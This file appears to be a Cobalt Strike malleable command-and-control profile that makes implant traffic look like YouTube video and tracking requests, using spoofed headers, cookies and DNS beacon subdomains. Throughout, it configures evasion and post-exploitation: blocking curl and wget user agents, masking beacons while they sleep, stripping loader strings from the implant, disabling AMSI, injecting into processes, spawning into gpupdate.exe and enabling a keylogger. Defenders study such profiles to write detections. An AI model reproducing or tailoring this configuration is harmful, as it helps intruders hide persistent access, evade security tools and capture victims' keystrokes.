#youtube video profile #xx0hcd set sleeptime "30000"; set jitter "20"; set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)"; set data_jitter "50"; dns-beacon { # Options moved into 'dns-beacon' group in 4.3: set dns_idle "8.8.8.8"; set dns_max_txt "220"; set dns_sleep "0"; set dns_ttl "1"; set maxdns "255"; set dns_stager_prepend ".wwwds."; set dns_stager_subhost ".e2867.dsca."; # DNS subhost override options added in 4.3: set beacon "d-bx."; set get_A "d-1ax."; set get_AAAA "d-4ax."; set get_TXT "d-1tx."; set put_metadata "d-1mx"; set put_output "d-1ox."; set ns_response "zero"; } ###SMB options### set pipename "ntsvcs##"; set pipename_stager "scerpc##"; set smb_frame_header ""; ###TCP options### set tcp_port "8000"; set tcp_frame_header ""; ###SSH options### set ssh_banner "Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1065-aws x86_64)"; set ssh_pipename "SearchTextHarvester##"; ###Steal Token set steal_token_access_mask "11"; ###Proxy Options set tasks_max_size "1048576"; set tasks_proxy_max_size "921600"; set tasks_dns_proxy_max_size "71680"; #custom cert #https-certificate { # set keystore "your_store_file.store"; # set password "your_store_pass"; #} http-config { # set headers "Server, Content-Type, Cache-Control, Connection"; # header "Connection" "close"; # header "Cache-Control" "max-age=2"; # header "Server" "nginx"; #set "true" if teamserver is behind redirector set trust_x_forwarded_for "false"; set block_useragents "curl*,lynx*,wget*"; } #set headers_remove "image/x-xbitmap, image/pjpeg, application/vnd"; http-get { set uri "/watch"; client { header "Host" "www.youtube.com"; header "Accept" "*/*"; header "Accept-Language" "en-US,en;q=0.5"; header "Connection" "close"; metadata { base64url; header "Cookie"; } #you know its a cat video... parameter "v" "iRXJXaLV0n4"; } server { header "Expires" "Tue, 27 Apr 1971 19:44:06 EST"; header "P3P" "CP='This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info.'"; header "X-XSS-Protection" "1; mode=block; report=https://www.google.com/appserve/security-bugs/log/youtube"; header "Strict-Transport-Security" "max-age=31536000"; header "Cache-Control" "no-cache"; header "X-Frame-Options" "SAMEORIGIN"; header "X-Content-Type-Options" "nosniff"; header "Content-Type" "text/html; charset=utf-8"; header "Server" "YouTube Frontend Proxy"; header "Set-Cookie" "VISITOR_INFO1_LIVE=ibgrrHQDalM; path=/; domain=.youtube.com; expires=Thu, 28-Jun-2018 06:18:00 GMT; httponly"; header "Set-Cookie" "YSC=LT4ZGGSgKoE; path=/; domain=.youtube.com; httponly"; header "Alt-Svc" "quic=':443'; ma=2592000; v='41,39,38,37,35'"; header "Connection" "close"; output { base64url; prepend "YouTube"; print; } } } http-post { set uri "/ptracking"; set verb "GET"; client { header "Host" "www.youtube.com"; header "Accept" "*/*"; header "Accept-Language" "en"; header "Referer" "https://www.youtube.com/watch?v=iRXJXaLV0n4"; output { base64url; prepend "YSC="; append ";&VISITOR_INFO1_LIVE=FlV1MiJMOzU"; header "Cookie"; } id { base64url; parameter "cpn"; } parameter "html5" "1"; } server { header "Strict-Transport-Security" "max-age=31536000"; header "X-XSS-Protection" "1; mode=block; report=https://www.google.com/appserve/security-bugs/log/youtube"; header "Content-Length" "0"; header "Cache-Control" "no-cache"; header "Expires" "Tue, 27 Apr 1971 19:44:06 EST"; header "X-Frame-Options" "SAMEORIGIN"; header "Content-Type" "video/x-flv"; header "X-Content-Type-Options" "nosniff"; header "Server" "YouTube Frontend Proxy"; header "Alt-Svc" "quic=':443'; ma=2592000; v='41,39,38,37,35'"; header "Connection" "close"; output { netbios; print; } } } http-stager { set uri_x86 "/youtubei/v1/"; set uri_x64 "/youtubei/V1/"; client { header "Accept" "*/*"; header "Accept-Language" "en-US,en;q=0.5"; header "X-Goog-Visitor-Id" "CgtGbFYxTWlKTU96VQ=="; header "X-YouTube-Client-Name" "56"; header "X-YouTube-Client-Version" "20171026"; header "Connection" "close"; } server { header "Cache-Control" "no-cache"; header "Content-Type" "text/xml; charset=UTF-8"; header "X-Frame-Options" "SAMEORIGIN"; header "X-Content-Type-Options" "nosniff"; header "Strict-Transport-Security" "max-age=31536000"; header "Content-Length" "155"; header "Expires" "Tue, 27 Apr 1971 19:44:06 EST"; header "Date" "Fri, 27 Oct 2017 18:24:28 GMT"; header "Server" "YouTube Frontend Proxy"; header "X-XSS-Protection" "1; mode=block"; header "Alt-Svc" "quic=':443'; ma=2592000; v='41,39,38,37,35'"; header "Connection" "close"; output { print; } } } ###Malleable PE/Stage Block### stage { set checksum "0"; set compile_time "17 Oct 2020 04:32:14"; set entry_point "170001"; #set image_size_x86 "6586368"; #set image_size_x64 "6586368"; #set name "WWanMM.dll"; set userwx "false"; set cleanup "true"; set sleep_mask "true"; set stomppe "true"; set obfuscate "true"; set rich_header ""; set sleep_mask "true"; set smartinject "true"; #allocator options include HeapAlloc, MapViewOfFile, VirtualAlloc, or you can use module stomp. #set allocator "HeapAlloc"; set magic_mz_x86 "MZRE"; set magic_mz_x64 "MZAR"; set magic_pe "EA"; set module_x86 "wwanmm.dll"; set module_x64 "wwanmm.dll"; transform-x86 { #prepend "\x90\x90\x90"; strrep "ReflectiveLoader" ""; strrep "beacon.dll" ""; } transform-x64 { #prepend "\x90\x90\x90"; strrep "ReflectiveLoader" ""; strrep "beacon.x64.dll" ""; } #string "something"; #data "something"; #stringw "something"; } ###Process Inject Block### process-inject { set allocator "NtMapViewOfSection"; set bof_allocator "VirtualAlloc"; set bof_reuse_memory "true"; set min_alloc "16700"; set userwx "false"; set startrwx "true"; transform-x86 { #prepend "\x90\x90\x90"; } transform-x64 { #prepend "\x90\x90\x90"; } execute { #CreateThread; #CreateRemoteThread; CreateThread "ntdll.dll!RtlUserThreadStart+0x1000"; SetThreadContext; NtQueueApcThread-s; #NtQueueApcThread; CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; CreateRemoteThread; RtlCreateUserThread; } } ###Post-Ex Block### post-ex { set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe"; set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe"; set obfuscate "true"; set smartinject "true"; set amsi_disable "true"; set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000"; set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##"; set keylogger "SetWindowsHookEx"; }